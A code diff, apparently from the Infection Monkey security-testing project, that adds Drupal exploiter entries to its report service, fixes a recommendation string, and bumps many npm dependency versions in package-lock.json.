@ -316,7 +316,7 @@ class AWSExporter(Exporter):
title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
"network.".format(issue['username']),
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
"pass-the-hash attack over WMI protocol with user {username}".format(
machine=issue['machine'],
ip_address=issue['ip_address'],

View File

@ -43,7 +43,8 @@ class ReportService:
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
'MSSQLExploiter': 'MSSQL Exploiter',
'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter',
'DrupalExploiter': 'Drupal Server Exploiter'
}
class ISSUES_DICT(Enum):
@ -61,6 +62,7 @@ class ReportService:
PTH_CRIT_SERVICES_ACCESS = 11
MSSQL = 12
VSFTPD = 13
DRUPAL = 14
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@ -355,6 +357,12 @@ class ReportService:
processed_exploit['type'] = 'mssql'
return processed_exploit
@staticmethod
def process_drupal_exploit(exploit):
processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'drupal'
return processed_exploit
@staticmethod
def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter']
@ -370,7 +378,8 @@ class ReportService:
'WebLogicExploiter': ReportService.process_weblogic_exploit,
'HadoopExploiter': ReportService.process_hadoop_exploit,
'MSSQLExploiter': ReportService.process_mssql_exploit,
'VSFTPDExploiter': ReportService.process_vsftpd_exploit
'VSFTPDExploiter': ReportService.process_vsftpd_exploit,
'DrupalExploiter': ReportService.process_drupal_exploit
}
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -666,6 +675,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True
elif issue['type'] == 'hadoop':
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
elif issue['type'] == 'drupal':
issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True

View File

@ -4,7 +4,6 @@ import dateutil
from monkey_island.cc.encryptor import encryptor
from monkey_island.cc.models import Monkey
from monkey_island.cc.models.edge import Edge
from monkey_island.cc.services.edge.displayed_edge import EdgeService
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.telemetry.processing.utils import \

View File

@ -1310,14 +1310,14 @@
}
},
"@sindresorhus/is": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-3.1.0.tgz",
"integrity": "sha512-n4J+zu52VdY43kdi/XdI9DzuMr1Mur8zFL5ZRG2opCans9aiFwkPxHYFEb5Xgy7n1Z4K6WfI4FpqUqsh3E8BPQ=="
"version": "3.1.2",
"resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-3.1.2.tgz",
"integrity": "sha512-JiX9vxoKMmu8Y3Zr2RVathBL1Cdu4Nt4MuNWemt1Nc06A0RAin9c5FArkhGsyMBWfCu4zj+9b+GxtjAnE4qqLQ=="
},
"@snyk/cli-interface": {
"version": "2.8.0",
"resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.0.tgz",
"integrity": "sha512-St/G39iJG1zQK15L24kcVYM2gmFc/ylBCcBqU2DMZKJKwOPccKLUO6s+dWIUXMccQ+DFS6TuHPvuAKQNi9C4Yg==",
"version": "2.8.1",
"resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.8.1.tgz",
"integrity": "sha512-pALcfgoY0hAavy/pBlDIqEu+FFC5m+D4bMnCwlQ26mObL/zzxp2+Ohx+HykCIom62u2J94SzAtRLFdm/2TgoOw==",
"requires": {
"@snyk/dep-graph": "1.19.0",
"@snyk/graphlib": "2.1.9-patch",
@ -1550,9 +1550,9 @@
}
},
"@snyk/java-call-graph-builder": {
"version": "1.10.0",
"resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.10.0.tgz",
"integrity": "sha512-x3vKElHJRsPjlMBRACeD6kHtki54ffahYeAm4ny5epVpxm16/OT6f6AjNjPuX8DbxcauaD7wqirtc62OPH3YqA==",
"version": "1.13.1",
"resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.13.1.tgz",
"integrity": "sha512-oOCSIyOMplV73a1agcXKXlFYQftK5esUUaFRTf90GOxQwKy8R9tZtKdP+CdutlgvjRP286DQ+7GlvKYsGGZbWg==",
"requires": {
"@snyk/graphlib": "2.1.9-patch",
"ci-info": "^2.0.0",
@ -1593,16 +1593,6 @@
"integrity": "sha512-bWjQY5Xk3TcfVpeo8M5BhhSUEdPr2P19AWW13CHPu6sFZkckLWEcjQycnBsVD6RBmxGXecJ1YNui8dq6soHoYQ==",
"requires": {
"event-loop-spinner": "^2.0.0"
},
"dependencies": {
"event-loop-spinner": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.0.0.tgz",
"integrity": "sha512-1y4j/Mhttr8ordvHkbDsGzGrlQaSYJoXD/3YKUxiOXIk7myEn9UPfybEk/lLtrcU3D4QvCNmVUxVQaPtvAIaUw==",
"requires": {
"tslib": "^1.10.0"
}
}
}
},
"@snyk/ruby-semver": {
@ -1729,12 +1719,14 @@
"@types/events": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/@types/events/-/events-3.0.0.tgz",
"integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g=="
"integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g==",
"dev": true
},
"@types/glob": {
"version": "7.1.1",
"resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.1.1.tgz",
"integrity": "sha512-1Bh06cbWJUHMC97acuD6UMG29nMt0Aqz1vF3guLfG+kHHJhy3AyohZFFxYk2f7Q1SQIrNwvncxAE0N/9s70F2w==",
"dev": true,
"requires": {
"@types/events": "*",
"@types/minimatch": "*",
@ -1782,7 +1774,8 @@
"@types/minimatch": {
"version": "3.0.3",
"resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.3.tgz",
"integrity": "sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA=="
"integrity": "sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA==",
"dev": true
},
"@types/minimist": {
"version": "1.2.0",
@ -2056,26 +2049,27 @@
"dev": true
},
"@yarnpkg/core": {
"version": "2.1.1",
"resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.1.1.tgz",
"integrity": "sha512-qeBxz8nHjKAbGTP2ZcXBnXGfM7+cN0A73mIai/24uru1ayvCIgfjWL1uIj/MM+m+K5lJX0Dcn94ZBHWits9JWQ==",
"version": "2.2.2",
"resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.2.2.tgz",
"integrity": "sha512-TQ0wqQjbZQDrf31N5v4NtE4Juw1c16hYu9QwNloUxRgY/Z+AQIuqa6Jgv9BbAghchZkSIXDWp6bFGD7C+q7cuA==",
"requires": {
"@arcanis/slice-ansi": "^1.0.2",
"@yarnpkg/fslib": "^2.1.0",
"@yarnpkg/fslib": "^2.2.1",
"@yarnpkg/json-proxy": "^2.1.0",
"@yarnpkg/libzip": "^2.1.0",
"@yarnpkg/parsers": "^2.1.0",
"@yarnpkg/pnp": "^2.1.0",
"@yarnpkg/shell": "^2.1.0",
"@yarnpkg/libzip": "^2.2.0",
"@yarnpkg/parsers": "^2.2.0",
"@yarnpkg/pnp": "^2.2.1",
"@yarnpkg/shell": "^2.2.0",
"camelcase": "^5.3.1",
"chalk": "^3.0.0",
"ci-info": "^2.0.0",
"clipanion": "^2.4.2",
"clipanion": "^2.4.4",
"cross-spawn": "7.0.3",
"diff": "^4.0.1",
"globby": "^10.0.1",
"globby": "^11.0.1",
"got": "^11.1.3",
"json-file-plus": "^3.3.1",
"lodash": "^4.17.15",
"logic-solver": "^2.0.1",
"micromatch": "^4.0.2",
"mkdirp": "^0.5.1",
@ -2084,7 +2078,7 @@
"pretty-bytes": "^5.1.0",
"semver": "^7.1.2",
"stream-to-promise": "^2.2.0",
"tar": "^4.4.6",
"tar-stream": "^2.0.1",
"tslib": "^1.13.0",
"tunnel": "^0.0.6"
},
@ -2152,17 +2146,15 @@
}
},
"globby": {
"version": "10.0.2",
"resolved": "https://registry.npmjs.org/globby/-/globby-10.0.2.tgz",
"integrity": "sha512-7dUi7RvCoT/xast/o/dLN53oqND4yk0nsHkhRgn9w65C4PofCLOoJ39iSOg+qVDdWQPIEj+eszMHQ+aLVwwQSg==",
"version": "11.0.1",
"resolved": "https://registry.npmjs.org/globby/-/globby-11.0.1.tgz",
"integrity": "sha512-iH9RmgwCmUJHi2z5o2l3eTtGBtXek1OYlHrbcxOYugyHLmAsZrPj43OtHThd62Buh/Vv6VyCBD2bdyWcGNQqoQ==",
"requires": {
"@types/glob": "^7.1.1",
"array-union": "^2.1.0",
"dir-glob": "^3.0.1",
"fast-glob": "^3.0.3",
"glob": "^7.1.3",
"ignore": "^5.1.1",
"merge2": "^1.2.3",
"fast-glob": "^3.1.1",
"ignore": "^5.1.4",
"merge2": "^1.3.0",
"slash": "^3.0.0"
}
},
@ -2219,27 +2211,13 @@
"integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="
},
"supports-color": {
"version": "7.1.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
"integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
"version": "7.2.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
"integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
"requires": {
"has-flag": "^4.0.0"
}
},
"tar": {
"version": "4.4.13",
"resolved": "https://registry.npmjs.org/tar/-/tar-4.4.13.tgz",
"integrity": "sha512-w2VwSrBoHa5BsSyH+KxEqeQBAllHhccyMFVHtGtdMpF4W7IRWfZjFiQceJPChOeTsSDVUpER2T8FA93pr0L+QA==",
"requires": {
"chownr": "^1.1.1",
"fs-minipass": "^1.2.5",
"minipass": "^2.8.6",
"minizlib": "^1.2.1",
"mkdirp": "^0.5.0",
"safe-buffer": "^5.1.2",
"yallist": "^3.0.3"
}
},
"to-regex-range": {
"version": "5.0.1",
"resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
@ -2260,20 +2238,15 @@
"requires": {
"isexe": "^2.0.0"
}
},
"yallist": {
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
"integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="
}
}
},
"@yarnpkg/fslib": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.1.0.tgz",
"integrity": "sha512-E+f8w5yQZnTf1soyTWy7qdf+GmHsY+A0yEN4Di44/Txk6XRIMruyc1ShDi93mOI6ilnXxD87rNms18zJ8WnspA==",
"version": "2.2.1",
"resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.2.1.tgz",
"integrity": "sha512-7SzLP/RHt8lEOaCTg6hMMrnxc2/Osbu3+UPwLZiZiGtLpYqwtTgtWTlAqddS3+MESXOZhc+3gKLX0lfqm6oWuw==",
"requires": {
"@yarnpkg/libzip": "^2.1.0",
"@yarnpkg/libzip": "^2.2.0",
"tslib": "^1.13.0"
},
"dependencies": {
@ -2301,9 +2274,9 @@
}
},
"@yarnpkg/libzip": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.1.0.tgz",
"integrity": "sha512-39c7KuSWcYUqVxlBLZwfqdD/D6lS+jplNVWd6uAnk8EpnacaYGJRegvkqWyfw5c8KHukNMeEGF5JHrXPZYBM0w==",
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.2.0.tgz",
"integrity": "sha512-/YRSPJbPAvHeCJxcXJrUV4eRP9hER6YB6LyZxsFlpyF++eqdOzNu0WsuXRRJxfqYt3hl7SiGFkL23qB9jqC6cw==",
"requires": {
"@types/emscripten": "^1.38.0",
"tslib": "^1.13.0"
@ -2322,9 +2295,9 @@
"integrity": "sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ=="
},
"@yarnpkg/parsers": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.1.0.tgz",
"integrity": "sha512-75OYQ6PMs1C3zm+W+T1xhLyVDX78zXQGEVHpWd4o/QwpAbhneB3/5FXVGRzI3gjPPWWSb/pKOPB1S6p0xmQD2Q==",
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.2.0.tgz",
"integrity": "sha512-k1XZaWYRHl7wCj04hcbtzKfPAZbKbsEi7xsB1Ka8obdS6DRnAw7n0gZPvvGjOoqkH95IqWf+Vi7vV5RhlGz63Q==",
"requires": {
"js-yaml": "^3.10.0",
"tslib": "^1.13.0"
@ -2338,12 +2311,12 @@
}
},
"@yarnpkg/pnp": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.1.0.tgz",
"integrity": "sha512-b8NlB71EFifv1jDX47nFaRXrykROxHcS7YuGb2dQ+Gp9gqJ0thIaZ3yB9+qWF8acdWtNcMpjCug4xkfAAR5Odw==",
"version": "2.2.1",
"resolved": "https://registry.npmjs.org/@yarnpkg/pnp/-/pnp-2.2.1.tgz",
"integrity": "sha512-jrwJ3Q6M+nMs4n0O/GgxayU1Bq9mpLoZW2Mb8Nt2fs5whB0CeCr1/pGl9+yiCSjirv9jjp51TVFqF7OPvXy+gA==",
"requires": {
"@types/node": "^13.7.0",
"@yarnpkg/fslib": "^2.1.0",
"@yarnpkg/fslib": "^2.2.1",
"tslib": "^1.13.0"
},
"dependencies": {
@ -2355,13 +2328,13 @@
}
},
"@yarnpkg/shell": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.1.0.tgz",
"integrity": "sha512-9i9ZWqeKHGV0DOfdxTVq5zl73Li8Fg947v57uLBEaytNF+HywkDfouNkg/6HfgBrpI0WH8OJ9Pz/uDaE5cpctw==",
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/@yarnpkg/shell/-/shell-2.2.0.tgz",
"integrity": "sha512-IuOZhYxTydNySqP2HlKkfm1QjgCAgVBUZz5O5rXXxpS4vTNSa0q6fwqvNUSrHSWGKH/jAmJS23YbJqislj5wjg==",
"requires": {
"@yarnpkg/fslib": "^2.1.0",
"@yarnpkg/parsers": "^2.1.0",
"clipanion": "^2.4.2",
"@yarnpkg/fslib": "^2.2.0",
"@yarnpkg/parsers": "^2.2.0",
"clipanion": "^2.4.4",
"cross-spawn": "7.0.3",
"fast-glob": "^3.2.2",
"stream-buffers": "^3.0.2",
@ -3044,9 +3017,9 @@
}
},
"bl": {
"version": "4.0.2",
"resolved": "https://registry.npmjs.org/bl/-/bl-4.0.2.tgz",
"integrity": "sha512-j4OH8f6Qg2bGuWfRiltT2HYGx0e1QcBTrK9KAHNMwMZdQnDZFk0ZSYIpADjYCB3U12nicC5tVJwSIhwOWjb4RQ==",
"version": "4.0.3",
"resolved": "https://registry.npmjs.org/bl/-/bl-4.0.3.tgz",
"integrity": "sha512-fs4G6/Hu4/EE+F75J8DuN/0IpQqNjAdC7aEQv7Qt8MHGUH7Ckv2MwTEEeN9QehD0pfIDkMI1bkHYkKy7xHyKIg==",
"requires": {
"buffer": "^5.5.0",
"inherits": "^2.0.4",
@ -3139,9 +3112,9 @@
"dev": true
},
"bootstrap": {
"version": "4.5.0",
"resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.0.tgz",
"integrity": "sha512-Z93QoXvodoVslA+PWNdk23Hze4RBYIkpb5h8I2HY2Tu2h7A0LpAgLcyrhrSUyo2/Oxm2l1fRZPs1e5hnxnliXA=="
"version": "4.5.1",
"resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.1.tgz",
"integrity": "sha512-bxUooHBSbvefnIZfjD0LE8nfdPKrtiFy2sgrxQwUZ0UpFzpjVbVMUxaGIoo9XWT4B2LG1HX6UQg0UMOakT0prQ=="
},
"boxen": {
"version": "4.2.0",
@ -3233,9 +3206,9 @@
}
},
"supports-color": {
"version": "7.1.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
"integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
"version": "7.2.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
"integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
"requires": {
"has-flag": "^4.0.0"
}
@ -3630,7 +3603,8 @@
"chownr": {
"version": "1.1.4",
"resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz",
"integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg=="
"integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==",
"dev": true
},
"chrome-trace-event": {
"version": "1.0.2",
@ -3702,9 +3676,9 @@
}
},
"cli-boxes": {
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.0.tgz",
"integrity": "sha512-gpaBrMAizVEANOpfZp/EEUixTXDyGt7DFzdK5hU+UbWt/J0lB0w20ncZj59Z9a93xHb9u12zF5BS6i9RKbtg4w=="
"version": "2.2.1",
"resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.1.tgz",
"integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw=="
},
"cli-cursor": {
"version": "3.1.0",
@ -3726,9 +3700,9 @@
"integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw=="
},
"clipanion": {
"version": "2.4.4",
"resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.4.4.tgz",
"integrity": "sha512-KjyCBz8xplftHjIK/nOqq/9b3hPlXbAAo/AxoITrO4yySpQ6a9QSJDAfOx9PfcRUHteeqbdNxZKSPfeFqQ7plg=="
"version": "2.5.0",
"resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.5.0.tgz",
"integrity": "sha512-VYOMl0h/mZXQC2BWq7oBto1zY1SkPWUaJjt+cuIred1HrmrcX1I2N+LNyNoRy8Iwu9r6vUxJwS/tWLwhQW4tPw=="
},
"cliui": {
"version": "5.0.0",
@ -5568,9 +5542,9 @@
"dev": true
},
"event-loop-spinner": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-1.1.0.tgz",
"integrity": "sha512-YVFs6dPpZIgH665kKckDktEVvSBccSYJmoZUfhNUdv5d3Xv+Q+SKF4Xis1jolq9aBzuW1ZZhQh/m/zU/TPdDhw==",
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/event-loop-spinner/-/event-loop-spinner-2.0.0.tgz",
"integrity": "sha512-1y4j/Mhttr8ordvHkbDsGzGrlQaSYJoXD/3YKUxiOXIk7myEn9UPfybEk/lLtrcU3D4QvCNmVUxVQaPtvAIaUw==",
"requires": {
"tslib": "^1.10.0"
}
@ -6038,9 +6012,9 @@
"integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw=="
},
"filepond": {
"version": "4.18.0",
"resolved": "https://registry.npmjs.org/filepond/-/filepond-4.18.0.tgz",
"integrity": "sha512-lIRv27uYU0DQjUNa0G+aGsdmkhxdEzk9k2gbOsWLQdO+4u6FGNPjA1lUfy5vkF4ifx2GEeO1X+xP6Kqyb6tWaw=="
"version": "4.19.2",
"resolved": "https://registry.npmjs.org/filepond/-/filepond-4.19.2.tgz",
"integrity": "sha512-2NgemeQGIx9TfjaRwn6LpjJFXILzGXl0FD+Er7veI/25Nn+4qu0mA8rk22S3vpJPajMRn+dD1EUTEOMgUolJ7w=="
},
"fill-range": {
"version": "4.0.0",
@ -6237,14 +6211,6 @@
"universalify": "^0.1.0"
}
},
"fs-minipass": {
"version": "1.2.7",
"resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-1.2.7.tgz",
"integrity": "sha512-GWSSJGFy4e9GUeCcbIkED+bgAoFyj7XF1mV8rma3QW4NIqX9Kyx79N/PF61H5udOV3aY1IaMLs6pGbH71nlCTA==",
"requires": {
"minipass": "^2.6.0"
}
},
"fs-readdir-recursive": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz",
@ -8528,30 +8494,6 @@
}
}
},
"minipass": {
"version": "2.9.0",
"resolved": "https://registry.npmjs.org/minipass/-/minipass-2.9.0.tgz",
"integrity": "sha512-wxfUjg9WebH+CUDX/CdbRlh5SmfZiy/hpkxaRI16Y9W56Pa75sWgd/rvFilSgrauD9NyFymP/+JFV3KwzIsJeg==",
"requires": {
"safe-buffer": "^5.1.2",
"yallist": "^3.0.0"
},
"dependencies": {
"yallist": {
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
"integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="
}
}
},
"minizlib": {
"version": "1.3.3",
"resolved": "https://registry.npmjs.org/minizlib/-/minizlib-1.3.3.tgz",
"integrity": "sha512-6ZYMOEnmVsdCeTJVE0W9ZD+pVnE8h9Hma/iOwwRDsdQoePpoX56/8B6z3P9VNwppJuBKNRuFDRNRqRWexT9G9Q==",
"requires": {
"minipass": "^2.9.0"
}
},
"mississippi": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz",
@ -12372,9 +12314,9 @@
}
},
"open": {
"version": "7.1.0",
"resolved": "https://registry.npmjs.org/open/-/open-7.1.0.tgz",
"integrity": "sha512-lLPI5KgOwEYCDKXf4np7y1PBEkj7HYIyP2DY8mVDRnx0VIIu6bNrRB0R66TuO7Mack6EnTNLm4uvcl1UoklTpA==",
"version": "7.2.1",
"resolved": "https://registry.npmjs.org/open/-/open-7.2.1.tgz",
"integrity": "sha512-xbYCJib4spUdmcs0g/2mK1nKo/jO2T7INClWd/beL7PFkXRWgr8B23ssDHX/USPn2M2IjDR5UdpYs6I67SnTSA==",
"requires": {
"is-docker": "^2.0.0",
"is-wsl": "^2.1.1"
@ -13213,9 +13155,9 @@
"integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc="
},
"pretty-bytes": {
"version": "5.3.0",
"resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.3.0.tgz",
"integrity": "sha512-hjGrh+P926p4R4WbaB6OckyRtO0F0/lQBiT+0gnxjV+5kjPBrfVBFCsCLbMqVQeydvIoouYTCmmEURiH3R1Bdg=="
"version": "5.4.1",
"resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.4.1.tgz",
"integrity": "sha512-s1Iam6Gwz3JI5Hweaz4GoCD1WUNUIyzePFy5+Js2hjwGVt2Z79wNN+ZKOZ2vB6C+Xs6njyB84Z1IthQg8d9LxA=="
},
"pretty-error": {
"version": "2.1.1",
@ -13712,11 +13654,10 @@
"integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="
},
"react-json-tree": {
"version": "0.11.2",
"resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.11.2.tgz",
"integrity": "sha512-aYhUPj1y5jR3ZQ+G3N7aL8FbTyO03iLwnVvvEikLcNFqNTyabdljo9xDftZndUBFyyyL0aK3qGO9+8EilILHUw==",
"version": "0.12.0",
"resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.12.0.tgz",
"integrity": "sha512-lp+NDCsU25JTueO1s784oZ5wEmh1c6kHk96szlX1e9bAlyNiHwCBXINpp0C5/D/LwQi9H/a6NjXGkSOS8zxMDg==",
"requires": {
"babel-runtime": "^6.6.1",
"prop-types": "^15.5.8",
"react-base16-styling": "^0.5.1"
}
@ -14595,10 +14536,13 @@
}
},
"serialize-javascript": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-2.1.2.tgz",
"integrity": "sha512-rs9OggEUF0V4jUSecXazOYsLfu7OGK2qIn3c7IPBiffz32XniEp/TX9Xmc9LQfK2nQ2QKHvZ2oygKUGU0lG4jQ==",
"dev": true
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz",
"integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==",
"dev": true,
"requires": {
"randombytes": "^2.1.0"
}
},
"serve-index": {
"version": "1.9.1",
@ -14914,11 +14858,11 @@
}
},
"snyk": {
"version": "1.363.0",
"resolved": "https://registry.npmjs.org/snyk/-/snyk-1.363.0.tgz",
"integrity": "sha512-hFmVOcMOEgAlEUcag65ZoFRvJufwB0Z8yUOKqyjWODiyeyW+eAxkUcIjVNuMjamxdXQHVJU78Tdq5Y7moI380g==",
"version": "1.372.0",
"resolved": "https://registry.npmjs.org/snyk/-/snyk-1.372.0.tgz",
"integrity": "sha512-5eX7cEmbPtpZ9w+vQIEIf9tlb3FOEN36cnSFpla4bTim2biGTx50lWPKYAclX3z1tlLt654rdJfpTt5tOqWxUQ==",
"requires": {
"@snyk/cli-interface": "2.8.0",
"@snyk/cli-interface": "2.8.1",
"@snyk/dep-graph": "1.18.3",
"@snyk/gemfile": "1.2.0",
"@snyk/graphlib": "2.1.9-patch",
@ -14941,11 +14885,11 @@
"proxy-from-env": "^1.0.0",
"semver": "^6.0.0",
"snyk-config": "3.1.0",
"snyk-docker-plugin": "3.13.1",
"snyk-docker-plugin": "3.16.0",
"snyk-go-plugin": "1.16.0",
"snyk-gradle-plugin": "3.5.1",
"snyk-module": "3.1.0",
"snyk-mvn-plugin": "2.17.1",
"snyk-mvn-plugin": "2.19.1",
"snyk-nodejs-lockfile-parser": "1.26.3",
"snyk-nuget-plugin": "1.18.1",
"snyk-php-plugin": "1.9.0",
@ -15028,22 +14972,24 @@
}
},
"snyk-docker-plugin": {
"version": "3.13.1",
"resolved": "https://registry.npmjs.org/snyk-docker-plugin/-/snyk-docker-plugin-3.13.1.tgz",
"integrity": "sha512-4GEZ8Rx+1K33i0SuMRO03T+n8jAosLae4iuo1TZu9ugkxdQzbBStzVFz2N6x1s0GI/psWQNOWSLKfzFJYMOctw==",
"version": "3.16.0",
"resolved": "https://registry.npmjs.org/snyk-docker-plugin/-/snyk-docker-plugin-3.16.0.tgz",
"integrity": "sha512-i11WxMhsZxcFKn123LeA+u77NN7uWqWgPfQ6dvkACJnvouWHZidkOAxBOmYU49x8VS7dEQSe2Ym0bgr6EHn4cQ==",
"requires": {
"@snyk/rpm-parser": "^2.0.0",
"@snyk/snyk-docker-pull": "^3.1.3",
"@snyk/snyk-docker-pull": "^3.2.0",
"debug": "^4.1.1",
"docker-modem": "2.1.3",
"dockerfile-ast": "0.0.19",
"event-loop-spinner": "^1.1.0",
"event-loop-spinner": "^2.0.0",
"gunzip-maybe": "^1.4.2",
"mkdirp": "^1.0.4",
"semver": "^6.1.0",
"snyk-nodejs-lockfile-parser": "1.22.0",
"tar-stream": "^2.1.0",
"tmp": "^0.2.1",
"tslib": "^1"
